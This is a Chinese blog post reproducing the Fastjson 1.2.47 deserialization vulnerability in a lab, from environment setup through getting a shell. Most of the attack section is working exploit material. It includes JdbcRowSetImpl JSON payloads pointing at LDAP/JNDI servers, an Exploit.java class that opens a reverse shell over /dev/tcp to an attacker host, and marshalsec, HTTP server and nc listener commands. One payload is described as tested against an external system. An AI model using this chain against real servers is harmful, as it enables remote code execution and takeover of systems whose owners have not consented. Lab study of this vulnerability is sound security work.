Fastjson1.2.47反序列化+环境搭建+漏洞复现

       初次接触Fastjson反序列化漏洞,最新出的1.2.68及绕过文章不太看得懂,有知识断层。JNDI服务、Ldap协议、rmi协议、Maven项目等等不懂开发,这些都不了解。

找了几篇看得懂的问题先验证验证1.2.47吧。

  在最后反弹shell的时候踩了太多坑,如果有读者看我文章复现,建议先通读下文章。

 

一、环境准备

靶机环境:

  系统:win 7 64

  Tomcat:7.0.103

  fastjson:1.2.47

  JDK:1.8.0_181(看了好几篇文章说复现fastjson和JDK版本有关,防坑)。

  后来这里还是坑了,两种不同的协议实现反弹shell有如下版本需求,而且最后接收shell的vps的JDK版本要和靶机的版本相近

  RMI < 8u121、LDAP < 8u182(本文复现使用LDAP)

  

 

二、部署

  JDK、Tomcat环境部署不多说了,直接将Fastjson放到Tomcat下的webapps下即可。在别的文章看到的,直接下载https://blog.csdn.net/qq_40989258/article/details/103049474

  Fastjson1.2.47:链接: https://pan.baidu.com/s/1C022L851nIkq4zy5hiG_TA&shfl=shareset 提取码: sven

  

三、POC

  1、用burp抓包,改POST请求,添加参数{"name":"xx","age":"999"},查看返回,服务正常。

  

 

   

  2、利用NC监听来判断漏洞是否存在:

    kail:nc -lvpp 1234监听端口

    POC如下:

{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://自己的ip:1234/Exploit","autoCommit":true}}}

    收到来自靶机的响应,证明漏洞存在。

  

 

   3、利用DNSlog来判断漏洞是否存在

  {"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://kd00nn.dnslog.cn","autoCommit":true}}}

   

 

   4、外网系统测试

  {"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://if6ooy.dnslog.cn","autoCommit":true}}}

  

 

 

四、getshell

  搞了两天发现各种环境不合适,JKD版本、系统版本等等,最终版环境如下:

  靶机环境:CenOS 7 x64 、jdk1.8.0_181、apache-tomcat-7.0.105、fastjson1.2.47(关闭Linux防火墙)

  vps环境:kail 、jdk1.8.0_181、python3

  攻击机:无所谓,burp抓包就行

  靶机ip:192.168.0.118

  vps:192.168.0.110

  1、靶机环境部署

    步骤:安装JDK——安装tomcat——fastjson放入tomcat/webapp文件夹下——启动tomcat——web访问测试,如下

    工具准备:apache-tomcat-7.0.105.tar.gz、fastjson1.2.47.tar.gz、jdk-8u181-linux-x64.tar.gz

    

    先用linxu管理工具将所需工具拖至opt目录下:tomcat7、JDK、fastjson

    ——————安装JDK——————

    tar -zxvf jdk-8u181-linux-x64.tar.gz  //解压

 

    vi /etc/profile    //编辑环境变量

    在文件最下方直接加入环境变量保持退出

    export JAVA_HOME=/opt/jdk1.8.0_181
    export JRE_HOME=/opt/jdk1.8.0_181/jre
    export CLASSPATH=.:${JAVA_HOME}/jre/lib/rt.jar:${JAVA_HOME}/lib/dt.jar:${JAVA_HOME}/lib/tools.jar
    export PATH=$PATH:${JAVA_HOME}/bin

     

 

     source /etc/profile     //配置生效

     

 

    坑:如果原本就有JDK版本,安装新版本后修改环境变量即可,方法另行百度

    ——————安装tomcat及web环境——————

     tar -zxvf apache-tomcat-7.0.105.tar.gz  //解压tomcat

    mv /apache-tomcat-7.0.105 /tomcat   //重搞一个文件

    chmod -R777 tomcat    //给权限

    tar -zxvf fastjson1.2.47.tar.gz  //解压fastjson

    mv ./fastjson ./tomcat/webapps  //移动到web服务下

    cd /tomcat/bin    //切如tomcat的bin目录下

    ./catalina.sh start    //启动tomcat服务

    如下图显示started表示已经启动成功。

    

 

     访问ip+8080/fastjson

    

    坑:如果这里访问不了的话linux关闭防火墙后记得重启,我是这样解决的

  2、反弹shell 

    这里就不重复上面验证是否存在的问题了,如果是第一次搭建,建议先验证下是否存在。

    步骤:python搭建http服务——marshalsec开启监听转发——nc开启监听接收shell——攻击——反弹成功

    工具准备:Exploit.java、marshalsec-0.0.3-SNAPSHOT-all.jar

    ————exp准备—————

     先上EXP,里面的ip改为接收shell的ip,文件命名为Exploit.java

说明:我这里用的是LDAP协议有的文章踩过坑:"bash -i >& /dev/tcp/xx.xx.xx.xx/10001 0>&1" 反弹不回来shell,rmi的另行百度,乖乖复制下面代码改ip就好。

import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;

public class Exploit{
    public Exploit() throws Exception {
        Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/xx.xx.xx.xx/1888;cat <&5 | while read line; do $line 2>&5 >&5; done"});
        InputStream is = p.getInputStream();
        BufferedReader reader = new BufferedReader(new InputStreamReader(is));

        String line;
        while((line = reader.readLine()) != null) {
            System.out.println(line);
        }

        p.waitFor();
        is.close();
        reader.close();
        p.destroy();
    }

    public static void main(String[] args) throws Exception {
    }
}

    javac Exploit.java  形成class文件

     

 

     ——————python启http服务————

    python -m SimpleHTTPServer 8083

    坑:这里千万千万要在放着exp的目录下直接启动,启动后访问下效果如下

    

 

     ——————marshalsec启动——————

    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.0.110:8083/#Exploit 9999 Listening on 0.0.0.0:9999

    坑:端口有些多,有点混乱,跟着复现的直接该ip吧,所有代码里的ip只涉及到接收shell的IP

    

 

     ——————nc开启监听——————

     nc -lvp 1888

    

 

     ——————攻击————————

   {"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x"{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.0.110:9999/Exploit","autoCommit":true}}}

    

 

     ——————成功接收shell——————

    

 

     这的里坑:只有三处同时间接收到请求并成功响应,大概率就可以返回shell了,还有nc在看到有返回信息的时候,不会显示shell界面,空白处直接运行命令即可。

 

 总结:看了很多文章,废了好几天,踩了很多坑,照猫画虎的成功复现,但涉及深层次的协议和原理还是不太懂,过阵子闲了试试最新版本1.2.68的复现,跟着了解了解原理。

 

 

参考文章:

https://blog.csdn.net/qq_40989258/article/details/103049474

https://www.cnblogs.com/nul1/p/12747709.html

       

posted @ 2020-07-09 16:08  黑岗0x0001  阅读(5686)  评论(2编辑  收藏  举报